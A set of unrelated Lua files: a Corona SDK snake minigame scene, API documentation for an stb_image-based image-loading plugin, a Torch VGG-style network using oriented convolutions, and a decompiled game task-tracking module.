laserFence.strokeWidth = 20;
laserFence:setStrokeColor(255, 0, 0);
laserFence.alpha = .5;
-- Build the snake.
local head = self.resMan:newSprite("head", self.resMan:getDisplayGroup("gameGroup"), imageSheet, {
{ name = "default", start = sheetInfo:getFrameIndex("head"), count = 1, time = 9999 }
});
self:buildSnake();
-- Create and place food.
local food = self.resMan:newSprite("food", self.resMan:getDisplayGroup("gameGroup"), imageSheet, {
{ name = "default", start = sheetInfo:getFrameIndex("food"), count = 1, time = 9999 }
});
self:placeFood();
-- Load sounds.
self.resMan:loadSound("chomp", self.sharedResourcePath .. "chomp.wav");
self.resMan:loadSound("move", self.sharedResourcePath .. "step.wav");
self.resMan:loadSound("splat", self.sharedResourcePath .. "splat.wav");
end -- End create().
---
-- Handler for the show event.
--
-- @param inEvent The event object.
--
function scene:show(inEvent)
self.parent.show(self, inEvent);
if inEvent.phase == "did" then
--utils:log(self.miniGameName, "show(): did");
end
end -- End show().
---
-- Handler for the hide event.
--
-- @param inEvent The event object.
--
function scene:hide(inEvent)
self.parent.hide(self, inEvent);
if inEvent.phase == "did" then
--utils:log(self.miniGameName, "hide(): did");
end
end -- End hide().
---
-- Handler for the destroy event.
--
-- @param inEvent The event object.
--
function scene:destroy(inEvent)
self.parent.destroy(self, inEvent);
--utils:log(self.miniGameName, "destroy()");
end -- End destroy().
---
-- Called when the menu is triggered (either from it being shown or hidden).
--
function scene:menuTriggered()
end -- End menuTriggered().
---
-- Called when the starting countdown begins.
--
function scene:countdownStartEvent()
end -- End countdownStartEvent().
---
-- Called right after "GO!" is displayed to start a game.
--
function scene:startEvent()
end -- End startEvent().
---
-- Called right before "GAME OVER" is shown to end a game.
--
function scene:endEvent()
end -- End endEvent().
--- ====================================================================================================================
-- ====================================================================================================================
-- EnterFrame
-- ====================================================================================================================
-- ====================================================================================================================
---
-- Handler for the enterFrame event.
--
-- @param inEvent The event object.
--
function scene:enterFrame(inEvent)
self.parent.enterFrame(self, inEvent);
-- Pulse the LASER fence.
self.laserFenceColorFrameCount = self.laserFenceColorFrameCount + 1;
if self.laserFenceColorFrameCount >= 3 then
self.laserFenceColorFrameCount = 0;
if self.laserFenceColorDir == "inc" then
self.laserFenceColor = self.laserFenceColor + .1;
if self.laserFenceColor >= 1 then
self.laserFenceColorDir = "dec";
end
else
self.laserFenceColor = self.laserFenceColor - .1;
if self.laserFenceColor <= .6 then
self.laserFenceColorDir = "inc";
end
end
self.resMan:getRect("laserFence").alpha = self.laserFenceColor;
end
-- Bump up frame count.
local head = self.resMan:getSprite("head");
local food = self.resMan:getSprite("food");
head.movingFrames = head.movingFrames + 1;
-- When we reach half-way through the current frame, it's time to move the snake.
if head.movingFrames == 5 then
-- Move the snake body. Each segment is located where the previous one was, except for the first.
for i = self.segmentsCount, 2, -1 do
local segment1 = self.resMan:getSprite("segments" .. i);
local segment2 = self.resMan:getSprite("segments" .. (i - 1));
segment1.gridX = segment2.gridX;
segment1.gridY = segment2.gridY;
segment1.x = segment2.x;
segment1.y = segment2.y;
end
-- The first segment goes where the head is.
local firstSegment = self.resMan:getSprite("segments1");
firstSegment.gridX = head.gridX;
firstSegment.gridY = head.gridY;
firstSegment.x = head.x;
firstSegment.y = head.y;
-- Now move the head.
head.movingFrames = 0;
if head.moving == self.MOVING_UP then
head.gridY = head.gridY - 1;
elseif head.moving == self.MOVING_DOWN then
head.gridY = head.gridY + 1;
elseif head.moving == self.MOVING_LEFT then
head.gridX = head.gridX - 1;
elseif head.moving == self.MOVING_RIGHT then
head.gridX = head.gridX + 1;
end
head.x = (head.gridX * head.width) + self.xAdj;
head.y = (head.gridY * head.height) + self.yAdj;
audio.play(self.resMan:getSound("move"));
-- If the head is out of bounds then restart.
if head.gridX == 0 or head.gridX == 18 or head.gridY == 0 or head.gridY == 31 then
audio.play(self.resMan:getSound("splat"));
self.updateScore(self, -50);
self:buildSnake();
self:placeFood();
end
-- If the head is over any body segment then the snake eat itself and we need to restart.
for i = 1, self.segmentsCount, 1 do
local segment = self.resMan:getSprite("segments" .. i);
if head.gridX == segment.gridX and head.gridY == segment.gridY then
audio.play(self.resMan:getSprite("splat"));
self.updateScore(self, -50);
self:buildSnake();
self:placeFood();
break;
end
end
-- If the head is on the food, eat it and add a segment
if head.gridX == food.gridX and head.gridY == food.gridY then
audio.play(self.resMan:getSound("chomp"));
self.updateScore(self, 2 * self.segmentsCount);
-- Now create a new segment, position it based on the current tail and segment before the tail, and add it.
local tail = self.resMan:getSprite("segments" .. self.segmentsCount);
local preTail = self.resMan:getSprite("segments" .. self.segmentsCount - 1);
self.segmentsCount = self.segmentsCount + 1;
local newTail = self.resMan:newSprite(
"segments" .. self.segmentsCount, self.resMan:getDisplayGroup("gameGroup"),
self.resMan:getImageSheet("imageSheet"), {
{ name = "default", start = self.resMan:getImageSheetInfo("imageSheet"):getFrameIndex("body"),
count = 1, time = 9999
}
}
);
if tail.gridX == preTail.gridX and tail.gridY > preTail.gridY then
newTail.gridX = tail.gridX;
newTail.gridY = tail.gridY + 1;
elseif tail.gridX == preTail.gridX and tail.gridY < preTail.gridY then
newTail.gridX = tail.gridX;
newTail.gridY = tail.gridY - 1;
elseif tail.gridX < preTail.gridX and tail.gridY == preTail.gridY then
newTail.gridX = tail.gridX - 1;
newTail.gridY = tail.gridY;
elseif tail.gridX > preTail.gridX and tail.gridY == preTail.gridY then
newTail.gridX = tail.gridX + 1;
newTail.gridY = tail.gridY;
end
newTail.x = (newTail.gridX * newTail.width) + self.xAdj;
newTail.y = (newTail.gridY * newTail.height) + self.yAdj;
-- Now place food again.
self:placeFood();
end
end
end -- End enterFrame().
--- ====================================================================================================================
-- ====================================================================================================================
-- Touch Handler(s)
-- ====================================================================================================================
-- ====================================================================================================================
---
-- Function that handles touch events on the screen generally.
--
-- @param inEvent The event object.
--
function scene:touch(inEvent)
if inEvent.phase == "began" then
self.touchStart = { x = inEvent.x, y = inEvent.y };
elseif inEvent.phase == "ended" and self.touchStart ~= nil then
-- Determine what direction swipe was in.
local swipeDir = self:determineSwipeDirection(self.touchStart, { x = inEvent.x, y = inEvent.y });
self.touchStart = nil;
-- Now see if it's a valid move.
local head = self.resMan:getSprite("head");
if swipeDir == self.SWIPE_UP then
head.moving = self.MOVING_UP;
head.rotation = 0;
elseif swipeDir == self.SWIPE_DOWN then
head.moving = self.MOVING_DOWN;
head.rotation = 0;
head:rotate(180);
elseif swipeDir == self.SWIPE_LEFT then
head.moving = self.MOVING_LEFT;
head.rotation = 0;
head:rotate(-90);
elseif swipeDir == self.SWIPE_RIGHT then
head.moving = self.MOVING_RIGHT;
head.rotation = 0;
head:rotate(90);
end
end
end -- End touch().
--- ====================================================================================================================
-- ====================================================================================================================
-- Collision Handler
-- ====================================================================================================================
-- ====================================================================================================================
---
-- Function that handles collision events.
--
-- @param inEvent The event object.
--
function scene:collision(inEvent)
end -- End collision().
--- ====================================================================================================================
-- ====================================================================================================================
-- Game Utility Functions
-- ====================================================================================================================
-- ====================================================================================================================
---
-- Builds the snake. This is done at the start or when the snake hits a boundary or eats itself.
--
function scene:buildSnake()
-- Delete all existing segments.
for i = 1, self.segmentsCount, 1 do
self.resMan:removeSprite("segments" .. i);
end
-- Position the head and reset flags.
local head = self.resMan:getSprite("head");
head.rotation = 0;
head.gridX = 9;
head.gridY = 24;
head.x = (head.gridX * head.width) + self.xAdj;
head.y = (head.gridY * head.height) + self.yAdj;
head.moving = self.MOVING_UP;
head.movingFrames = 0;
self.segmentsCount = 0;
-- Create our initial segments.
local imageSheet = self.resMan:getImageSheet("imageSheet");
local sheetInfo = self.resMan:getImageSheetInfo("imageSheet");
for i = 1, 4, 1 do
self.segmentsCount = self.segmentsCount + 1;
local segment = self.resMan:newSprite("segments" .. self.segmentsCount,
self.resMan:getDisplayGroup("gameGroup"), imageSheet, {
{ name = "default", start = sheetInfo:getFrameIndex("body"), count = 1, time = 9999 }
}
);
segment.gridX = head.gridX;
segment.gridY = head.gridY + i;
segment.x = (segment.gridX * segment.width) + self.xAdj;
segment.y = (segment.gridY * segment.height) + self.yAdj;
end
end -- End buildSnake().
---
-- Randomly places the food at a new location, taking care not to place it on a segment of the snake.
--
function scene:placeFood()
-- Re-choose if food is placed on head or a body segment.
local chooseAgain = true;
local food = self.resMan:getSprite("food");
local head = self.resMan:getSprite("head");
while chooseAgain do
-- Assume we'll successfully place the food this iteration.
chooseAgain = false;
-- Choose a location.
food.gridX = math.random(2, 17);
food.gridY = math.random(2, 29);
-- Test against head, choose again if we hit it.
if food.gridX == head.gridX and food.gridY == head.gridY then
chooseAgain = true;
end
-- Test against all body segments, choose again if we hit one.
for i = 1, self.segmentsCount, 1 do
local segment = self.resMan:getSprite("segments" .. i);
if food.gridX == segment.gridX and food.gridY == segment.gridY then
chooseAgain = true;
end
end
end
food.x = (food.gridX * food.width) + self.xAdj;
food.y = (food.gridY * food.height) + self.yAdj;
end -- End placeFood().
--- ====================================================================================================================
-- ====================================================================================================================
-- ====================================================================================================================
-- ====================================================================================================================
--utils:log(miniGameName, "Attaching lifecycle handlers");
scene:addEventListener("create", scene);
scene:addEventListener("show", scene);
scene:addEventListener("hide", scene);
scene:addEventListener("destroy", scene);
return scene;
|
--- Utilities for loading images.
--
-- The (single-frame) image readers come from Sean Barrett's [stb](https://github.com/nothings/stb).
--
-- Animated GIF support builds upon STB, using urraka's [xload](https://gist.githubusercontent.com/urraka/685d9a6340b26b830d49/raw/91eee495eeefb2d60abc73a1a9d83949fe6a4882/stb.c).
--
-- The **Bytes** type—specified below—may be any object that implements [ByteReader](https://ggcrunchy.github.io/corona-plugin-docs/DOCS/ByteReader/policy.html),
-- including strings.
--
-- Functions that begin with (**WIP**) describe work in progress. These features are not considered stable, but give a reasonable idea of what to expect.
--
-- ========================================================================
--
-- **(The comments that follow were adapted from [stb\_image.h](https://raw.githubusercontent.com/nothings/stb/master/stb_image.h).)**
--
-- **QUICK NOTES**:
--
-- Primarily of interest to game developers and other people who can
-- avoid problematic images and only need the trivial interface
--
-- JPEG baseline & progressive (12 bpc/arithmetic not supported, same as stock IJG lib)
--
-- PNG 1/2/4/8-bit-per-channel (16 bpc not supported)
--
-- TGA (not sure what subset, if a subset)
--
-- BMP (non-1bpp, non-RLE)
--
-- PSD (composited view only, no extra channels, 8/16 bit-per-channel)
--
-- GIF (_comp_ always reports as 4-channel)
--
-- HDR (radiance rgbE format)
--
-- PIC (Softimage PIC)
--
-- PNM (PPM and PGM binary only)
--
-- (**WIP**) The formats listed for @{SpotImage} are available as well.
--
-- Animated GIF (via @{xload})
--
-- - decode from memory
-- - SIMD acceleration on x86/x64 (SSE2) and ARM (NEON)
--
-- **DOCUMENTATION**
--
-- Limitations:
--
-- - no 16-bit-per-channel PNG
-- - no 12-bit-per-channel JPEG
-- - no JPEGs with arithmetic coding
-- - no 1-bit BMP
-- - GIF always returns comp = 4
--
-- Basic usage (see HDR discussion below for HDR usage):
-- local data, x, y, comp = impack.image.load(filename, 0)
-- -- ... process data if not nil ...
-- -- ... x = width, y = height, comp = # 8-bit components per pixel ...
-- -- ... replace '0' with '1'..'4' to force that many components per pixel
-- -- ... but comp will always be the number that it would have been if you said 0
-- data = nil -- or allow to go out of scope
--
-- Standard parameters and results:
-- x -- image width in pixels
-- y -- image height in pixels
-- comp -- # of image components in image file
-- req_comp -- if non-zero, # of image components requested in result
--
-- The return value from an image loader is a string containing
-- the pixel data, or **nil** on an allocation failure or if the image is
-- corrupt or invalid. The pixel data consists of _y_ scanlines of _x_ pixels,
-- with each pixel consisting of N interleaved 8-bit components; the first
-- pixel pointed to is top-left-most in the image. There is no padding between
-- image scanlines or between pixels, regardless of format. The number of
-- components N is _req\_comp_ if _req\_comp_ is non-zero (and present), or
-- _comp_ otherwise. If _req\_comp_ is non-zero, _comp_ has the number of
-- components that _would_ have been output otherwise. E.g. if you set _req\_comp_
-- to 4, you will always get RGBA output, but you can check _comp_ to see if it's
-- trivially opaque because e.g. there were only 3 channels in the source image.
--
-- An output image with N components has the following components interleaved
-- in this order in each pixel:
--
-- N = #comp components
-- 1 grey
-- 2 grey, alpha
-- 3 red, green, blue
-- 4 red, green, blue, alpha
--
-- If image loading fails for any reason, the return value will be **nil**,
-- along with an extremely brief explanation of why the load failed.
--
-- Paletted PNG, BMP, GIF, and PIC images are automatically depalettized.
--
-- ===========================================================================
--
-- **Philosophy**:
--
-- stb libraries are designed with the following priorities:
--
-- 1. easy to use
-- 2. easy to maintain
-- 3. good performance
--
-- Sometimes I let "good performance" creep up in priority over "easy to maintain",
-- and for best performance I may provide less-easy-to-use APIs that give higher
-- performance, in addition to the easy to use ones. Nevertheless, it's important
-- to keep in mind that from the standpoint of you, a client of this library,
-- all you care about is #1 and #3, and stb libraries do not emphasize #3 above all.
--
-- Some secondary priorities arise directly from the first two, some of which
-- make more explicit reasons why performance can't be emphasized.
--
-- - Portable ("ease of use")
-- - Small footprint ("easy to maintain")
-- - No dependencies ("ease of use")
--
-- ===========================================================================
--
-- **SIMD support**:
--
-- The JPEG decoder will try to automatically use SIMD kernels on x86 when
-- supported by the compiler. SSE2 will automatically be used when available
-- based on a run-time test; if not, the generic C versions are used as a
-- fall-back. Likewise, on ARM targets, NEON will be used when available.
--
-- ===========================================================================
--
-- **HDR image support**:
--
-- stb_image now supports loading HDR images in general, and currently
-- the Radiance .HDR file format, although the support is provided
-- generically. You can still load any file through the existing interface;
-- if you attempt to load an HDR file, it will be automatically remapped to
-- LDR, assuming gamma 2.2 and an arbitrary scale factor defaulting to 1;
-- both of these constants can be reconfigured through this interface:
--
-- impack.image.hdr_to_ldr_gamma(2.2)
-- impack.image.hdr_to_ldr_scale(1.0)
--
-- (Note, do not use _inverse_ constants; the appropriate inversion will be
-- applied internally.)
--
-- Additionally, there is a new, parallel interface for loading files as
-- (linear) floats to preserve the full dynamic range:
--
-- local data, x, y, n = impack.image.loadf(filename)
--
-- If you load LDR images through this interface, those images will
-- be promoted to floating point values, run through the inverse of
-- constants corresponding to the above:
--
-- impack.image.ldr_to_hdr_scale(1.0)
-- impack.image.ldr_to_hdr_gamma(2.2)
--
-- Finally, given a filename or memory block containing image data, you
-- can query for the "most appropriate" interface to use (that is, whether
-- the image is HDR or not), using:
--
-- impack.image.is_hdr(filename)
--
-- ===========================================================================
--
-- **iPhone PNG support**:
--
-- By default we convert iPhone-formatted PNGs back to RGB, even though
-- they are internally encoded differently.
--
-- ===========================================================================
--
-- **From stb's project page:**
--
-- This software is dual-licensed to the public domain and under the following
-- license: you are granted a perpetual, irrevocable license to copy, modify,
-- publish, and distribute this file as you see fit.
--
-- ========================================================================
--
-- Permission is hereby granted, free of charge, to any person obtaining
-- a copy of this software and associated documentation files (the
-- "Software"), to deal in the Software without restriction, including
-- without limitation the rights to use, copy, modify, merge, publish,
-- distribute, sublicense, and/or sell copies of the Software, and to
-- permit persons to whom the Software is furnished to do so, subject to
-- the following conditions:
--
-- The above copyright notice and this permission notice shall be
-- included in all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-- IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
-- CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
-- TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-- SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--
-- [ MIT license: http://www.opensource.org/licenses/mit-license.php ]
--
--[[
TODO: Not yet using these
enum
{
STBI_default = 0, // only used for req_comp
STBI_grey = 1,
STBI_grey_alpha = 2,
STBI_rgb = 3,
STBI_rgb_alpha = 4
};
]]
--- Assign the (global) high → low-dynamic-range gamma mapping.
-- @function hdr_to_ldr_gamma
-- @number gamma Gamma mapping.
-- @see ldr_to_hdr_gamma
--- Assign the (global) high → low-dynamic-range scale factor.
-- @function hdr_to_ldr_scale
-- @number scale Scale factor.
-- @see ldr_to_hdr_scale
--- Get image dimensions and component count without fully decoding.
-- @function info
-- @string filename Name of file to query.
-- @param[opt=system.ResourceDirectory] baseDir Directory to search, as per
-- [system.pathForFile](https://docs.coronalabs.com/api/library/system/pathForFile.html).
-- @return[1] **true**, indicating success.
-- @treturn[1] uint Width of image data...
-- @treturn[1] uint ...and height.
-- @treturn[1] uint Number of components per pixel.
-- @return[2] **false**, indicating failure.
--- (**WIP**) Alternate overload of **info**.
-- @function info
-- @ptable params Info parameters. This must include **filename** and may have a **baseDir** field, with meanings as in
-- the other overload.
--
-- If an **is\_absolute** is present and true, _filename_ is interpreted as an absolute path (any _baseDir_ is ignored). On
-- non-desktop platforms, this raises an error.
-- @treturn As per the other overload.
--- Memory-based variant of @{info}.
-- @function info_from_memory
-- @tparam Bytes image Undecoded image contents.
-- @return[1] **true**, indicating success.
-- @treturn[1] uint Width of image data...
-- @treturn[1] uint ...and height.
-- @treturn[1] uint Number of components per pixel.
-- @return[2] **false**, indicating failure.
--- Check whether a file contains an HDR image.
-- @function is_hdr
-- @string filename Name of file to query.
-- @param[opt=system.ResourceDirectory] baseDir Directory to search, as per
-- [system.pathForFile](https://docs.coronalabs.com/api/library/system/pathForFile.html).
-- @treturn boolean Image contents are HDR data?
--- (**WIP**) Alternate overload of **is\_hdr**.
-- @function is_hdr
-- @ptable params Query parameters. See the table overload of @{info} for details.
-- @return As per the other overload.
--- Memory-based variant of @{is_hdr}.
-- @function is_hdr_from_memory
-- @tparam Bytes image Undecoded image contents.
-- @treturn boolean Image contents are HDR data?
--- Assign the (global) low → high-dynamic-range gamma mapping.
-- @function ldr_to_hdr_gamma
-- @number gamma Gamma mapping.
-- @see hdr_to_ldr_gamma
--- Assign the (global) low → high-dynamic-range scale factor.
-- @function ldr_to_hdr_scale
-- @number scale Scale factor.
-- @see hdr_to_ldr_scale
--- Loads an image into one-byte-per-component form. Refer to the summary above for further details.
-- @function load
-- @string filename Name of file to load.
-- @param[opt=system.ResourceDirectory] baseDir Directory to search, as per
-- [system.pathForFile](https://docs.coronalabs.com/api/library/system/pathForFile.html).
-- @tparam ?table opts Load options, which include:
--
-- * **as\_userdata** Affects how the image data is returned.
-- * **req\_comp** When present (and non-0), it should be an integer between 1 and 4, the loaded data
-- will have as many components (adding or removing channels as needed).
-- * **is\_absolute**: (**WIP**) If true, _filename_ is interpreted as being an absolute path (any _baseDir_ is ignored). On
-- non-desktop platforms, this raises an error.
-- * **blob**: (**WIP**) If this is a [blob](https://ggcrunchy.github.io/corona-plugin-docs/DOCS/MemoryBlob/api.html) and
-- the decoded image data will fit, it is populated with said data. (**TODO** errors, etc.)
-- * **bypass\_filtering**: (**WIP**) WebP-specific: bypass filtering during decoding.
-- * **no\_fancy\_upsampling**: (**WIP**) WebP-specific: forgo any fancy upsampling during decoding.
-- * **premultiply**: (**WIP**) If true, alpha is premultiplied in the case of 4-component data.
-- * **x**: (**WIP**) Horizontal offset into blob, if available...
-- * **y**: (**WIP**) ...and vertical offset.
-- @treturn[1] Bytes Image data.
--
-- If _opts.as\_userdata_ was true, the data is returned as a userdata that implements **ByteReader**,
-- rather than being converted to a more friendly string. Under some circumstances, this might be worth
-- doing for performance reasons. (**N.B.** This feature is in flux at the moment and subject to change.)
-- @treturn[1] uint Width of image data...
-- @treturn[1] uint ...and height.
-- @treturn[1] uint Number of (actual, not requested) components per pixel.
-- @return[2] **nil**, indicating failure.
-- @treturn[2] string Error message.
--- Memory-based variant of @{load}.
-- @function load_from_memory
-- @tparam Bytes image Undecoded image contents.
-- @tparam ?table opts As per @{load}
-- @treturn[1] Bytes Image data, as per @{load}.
-- @treturn[1] uint Width of image data...
-- @treturn[1] uint ...and height.
-- @treturn[1] uint Number of (actual, not requested) components per pixel.
-- @return[2] **nil**, indicating failure.
-- @treturn[2] string Error message.
--- Loads an image into floating-point form. Refer to the summary above for further details.
-- @function loadf
-- @string filename Name of file to load.
-- @param[opt=system.ResourceDirectory] baseDir Directory to search, as per
-- [system.pathForFile](https://docs.coronalabs.com/api/library/system/pathForFile.html).
-- @tparam ?table opts As per @{load}.
-- @treturn[1] Bytes Image data, as per @{load}.
-- @treturn[1] uint Width of image data...
-- @treturn[1] uint ...and height.
-- @treturn[1] uint Number of (actual, not requested) components per pixel.
-- @return[2] **nil**, indicating failure.
-- @treturn[2] string Error message.
--- Memory-based variant of @{loadf}.
-- @function loadf_from_memory
-- @tparam Bytes image Undecoded image contents.
-- @tparam ?table opts As per @{loadf}.
-- @treturn[1] Bytes data Image data, as per @{loadf}.
-- @treturn[1] uint Width of image data...
-- @treturn[1] uint ...and height.
-- @treturn[1] uint Number of (actual, not requested) components per pixel.
-- @return[2] **nil**, indicating failure.
-- @treturn[2] string Error message.
--- (**WIP**) Load a Spot image from a file.
-- @function load_image_object
-- @string name Name of file to load.
-- @param[opt=system.ResourceDirectory] baseDir Directory to search, as per
-- [system.pathForFile](https://docs.coronalabs.com/api/library/system/pathForFile.html).
-- @treturn[1] SpotImage On success, the new Spot image, cf. @{SpotImage}.
-- @return[2] **nil**, indicating an error.
-- @treturn[2] string Error message.
--- (**WIP**) Alternate overload of **load\_image\_object**.
-- @function load_image_object
-- @ptable params Load parameters. See the table overload of @{info} for details.
-- @return As per the other overload.
--- (**WIP**) Load a Spot image from memory.
-- @function load_image_object_from_memory
-- @tparam Bytes image Undecoded image contents.
-- @treturn[1] SpotImage On success, the new Spot image, cf. @{SpotImage}.
-- @return[2] **nil**, indicating an error.
-- @treturn[2] string Error message.
--- (**WIP**) Create a new Spot color in HSLA form.
-- @function new_color_hsla
-- @number[opt=0] h Hue component, typically between 0 and, inclusive...
-- @number[opt=0] s ...saturation component, ditto...
-- @number[opt=0] l ...lightness, ditto...
-- @number[opt=1] a ...and alpha, ditto.
-- @treturn[1] SpotColor On success, the new Spot color, cf. @{SpotColor}.
-- @return[2] **nil**, indicating an error.
-- @treturn[2] string Error message.
--- (**WIP**) Create a new Spot color in RGBA form.
-- @function new_color_rgba
-- @number[opt=0] r Red component, between 0 and 255, inclusive...
-- @number[opt=0] g ...green component, ditto...
-- @number[opt=0] b ...blue, ditto...
-- @number[opt=0] a ...and alpha, ditto.
-- @treturn[1] SpotColor On success, the new Spot color, cf. @{SpotColor}.
-- @return[2] **nil**, indicating an error.
-- @treturn[2] string Error message.
--- (**WIP**) Create a new empty Spot image.
-- @function new_image_object
-- @uint w Image width...
-- @uint h ...height...
-- @uint[opt = 0] d ...and depth.
-- @tparam ?SpotColor filler Optional initial fill color.
-- @treturn SpotImage On success, the new Spot image, cf. @{SpotImage}.
-- @return[2] **nil**, indicating an error.
-- @treturn[2] string Error message.
--- Represents a single frame in a GIF animation.
-- @tparam Bytes image Frame data.
-- @uint delay Delay, in milliseconds, for frame.
-- @table GifFrame
--- Given a GIF, loads its frames (image data, delay to next frame) into an array. All frames are loaded
-- as RGBA with the same width and height.
--
-- A single image buffer (with no delay info) is returned for non-GIF files and for GIFs that have one frame.
-- @function xload
-- @string filename Name of file to load.
-- @param[opt=system.ResourceDirectory] baseDir Directory to search, as per
-- [system.pathForFile](https://docs.coronalabs.com/api/library/system/pathForFile.html).
-- @treturn[1] {GifFrame,...} frames, where a **frame** is a table with two keys, **image** containing
-- a string and **delay** a uint.
-- @treturn[1] uint Width common to all frames...
-- @treturn[1] uint ...and height.
-- @treturn[2] string Image data, in the case there is only one frame or _filename_ was not a GIF.
-- @treturn[2] uint Image width...
-- @treturn[2] uint ...and height.
-- @treturn[2] uint bpp Always 4.
-- @return[3] **nil**, indicating failure.
-- @treturn[3] string Error message.
--- (**WIP**) Alternate overload of **xload**.
-- @function xload
-- @ptable params Load parameters. See the table overload of @{info} for details.
-- @return As per the other overload.
--- Variant of @{xload} that loads from memory.
-- @function xload_from_memory
-- @tparam Bytes image Undecoded image contents
-- @return As per @{xload}.
|
-- This is a modified version of VGG network in
-- https://github.com/szagoruyko/cifar.torch
-- Modifications:
-- * removed dropout
-- * last nn.Linear layers substituted with convolutional layers
-- and avg-pooling
require 'nn'
local utils = paths.dofile'utils.lua'
require 'cudnnorn'
local nOrientation = 8
local ConvCounter = 0
local scale_factor = 4
-- function Convolution
local Convolution = function (...)
local arg = {...}
local ARF
if ConvCounter > 0 then
arg[1] = arg[1] / scale_factor
arg[2] = arg[2] / scale_factor
ARF = nOrientation
else
arg[2] = arg[2] / scale_factor
ARF = {1, nOrientation}
end
ConvCounter = ConvCounter + 1
table.insert(arg, 3, ARF)
return nn.ORConv(unpack(arg))
-- unpack(arg): return all the parameters
end
-- function View
local View = function (nFeature)
local ORNFeature = nFeature / scale_factor * nOrientation
return nn.View(ORNFeature)
end
-- function Linear
local Linear = function (nFeature, nOutput)
local ORNFeature = nFeature / scale_factor * nOrientation
return nn.Linear(ORNFeature, nOutput)
end
-- function BN
local SBatchNorm = function (nFeature)
local ORNFeature = nFeature / scale_factor * nOrientation
return nn.SpatialBatchNormalization(ORNFeature)
end
return function (opt)
local model = nn.Sequential()
-- building block
local function Block(nInputPlane, nOutputPlane)
model:add(Convolution(nInputPlane, nOutputPlane, 3,3, 1,1, 1,1))
model:add(SBatchNorm(nOutputPlane, 1e-3))
model:add(nn.ReLU())
return model
end
local function MP()
model:add(nn.SpatialMaxPooling(2,2, 2,2):ceil())
return model
end
local function Group(ni, no, N, f)
-- the priority of the logical operator (and > or)
for i=1, N do
Block(i == 1 and ni or no, no)
end
-- proper tail call
if f then f() end
end
-- feature learning
-- model:add(Convolution(3,8, 3,3, 1,1, 1,1)) -- one conv at the beginning (spatial size: 32x32)
-- model:add(nn.ReLU()) -- first conv layer
-- model:add(nn.ORConv(8, 8, nOrientation, 3,3, 1,1, 1,1))
-- model:add(nn.ReLU())
-- model:add(nn.SpatialMaxPooling(2,2, 2,2):ceil())
Group(3, 64, 2, MP)
Group(64, 128, 2, MP)
Group(128, 256, 4, MP)
Group(256, 512, 4, MP)
Group(512, 512, 4)
model:add(nn.SpatialAveragePooling(2,2, 2,2):ceil())
model:add(nn.ORAlign(nOrientation))
-- classifier
model:add(View(512):setNumInputDims(3))
model:add(Linear(512, opt and opt.numClasses or 10))
-- initailization
utils.FCinit(model)
utils.testModel(model)
utils.MSRinit(model)
return model
end
|
slot0 = class("WorldTaskProxy", import("....BaseEntity"))
slot0.Fields = {
list = "table",
itemListenerList = "table",
taskFinishCount = "number",
mapList = "table",
mapListenerList = "table"
}
slot0.EventUpdateTask = "WorldTaskProxy.EventUpdateTask"
slot0.Build = function (slot0)
slot0.list = {}
slot0.itemListenerList = {}
slot0.mapListenerList = {}
end
slot0.Setup = function (slot0, slot1)
for slot5, slot6 in ipairs(slot1) do
slot0:addTask(WorldTask.New(slot6))
end
end
slot0.Dispose = function (slot0)
slot0:Clear()
end
slot0.getTaskById = function (slot0, slot1)
return slot0.list[slot1]
end
slot0.addTaskListener = function (slot0, slot1)
if slot1.config.complete_condition == WorldConst.TaskTypeSubmitItem then
slot0.itemListenerList[slot2] = slot0.itemListenerList[slot1.config.complete_parameter[1]] or {}
table.insert(slot0.itemListenerList[slot2], slot1.id)
elseif slot1.config.complete_condition == WorldConst.TaskTypePressingMap then
for slot5, slot6 in ipairs(slot1.config.complete_parameter) do
slot0.mapListenerList[slot6] = slot0.mapListenerList[slot6] or {}
table.insert(slot0.mapListenerList[slot6], slot1.id)
end
end
end
slot0.removeTaskListener = function (slot0, slot1)
if slot1.config.complete_condition == WorldConst.TaskTypeSubmitItem then
table.removebyvalue(slot0.itemListenerList[slot1.config.complete_parameter[1]], slot1.id)
elseif slot1.config.complete_condition == WorldConst.TaskTypePressingMap then
for slot5, slot6 in ipairs(slot1.config.complete_parameter) do
table.removebyvalue(slot0.mapListenerList[slot6], slot1.id)
end
end
end
slot0.doUpdateTaskByItem = function (slot0, slot1)
if not slot0.itemListenerList[slot1.id] then
return
end
for slot5, slot6 in ipairs(slot0.itemListenerList[slot1.id]) do
slot7 = slot0:getTaskById(slot6)
slot7:updateProgress(slot1.count)
slot0:updateTask(slot7)
end
end
slot0.doUpdateTaskByMap = function (slot0, slot1, slot2)
if not slot0.mapListenerList[slot1] then
return
end
for slot6, slot7 in ipairs(slot0.mapListenerList[slot1]) do
slot8 = slot0:getTaskById(slot7)
slot8:updateProgress(slot8:getProgress() + ((slot2 and 1) or -1))
slot0:updateTask(slot8)
end
end
slot0.addTask = function (slot0, slot1)
slot0.list[slot1.id] = slot1
slot0:addTaskListener(slot1)
slot0:DispatchEvent(slot0.EventUpdateTask, slot1)
end
slot0.deleteTask = function (slot0, slot1)
if not slot0.list[slot1] then
return
end
slot0.list[slot1] = nil
slot0:removeTaskListener(slot2)
slot0:DispatchEvent(slot0.EventUpdateTask, slot0.list[slot1])
end
slot0.updateTask = function (slot0, slot1)
if slot1:getState() == WorldTask.STATE_RECEIVED then
slot0:deleteTask(slot1.id)
else
slot0.list[slot1.id] = slot1
slot0:DispatchEvent(slot0.EventUpdateTask, slot1)
end
end
slot0.getTasks = function (slot0)
return slot0.list
end
slot0.getTaskVOs = function (slot0)
return _.values(slot0.list)
end
slot0.getDoingTaskVOs = function (slot0)
slot1 = {}
for slot5, slot6 in pairs(slot0:getTasks()) do
if slot6:getState() == WorldTask.STATE_ONGOING or slot7 == WorldTask.STATE_FINISHED then
table.insert(slot1, slot6)
end
end
return slot1
end
slot0.getAutoSubmitTaskVO = function (slot0)
for slot4, slot5 in pairs(slot0:getTasks()) do
if slot5:IsAutoSubmit() and slot5:getState() == WorldTask.STATE_FINISHED then
return slot5
end
end
return nil
end
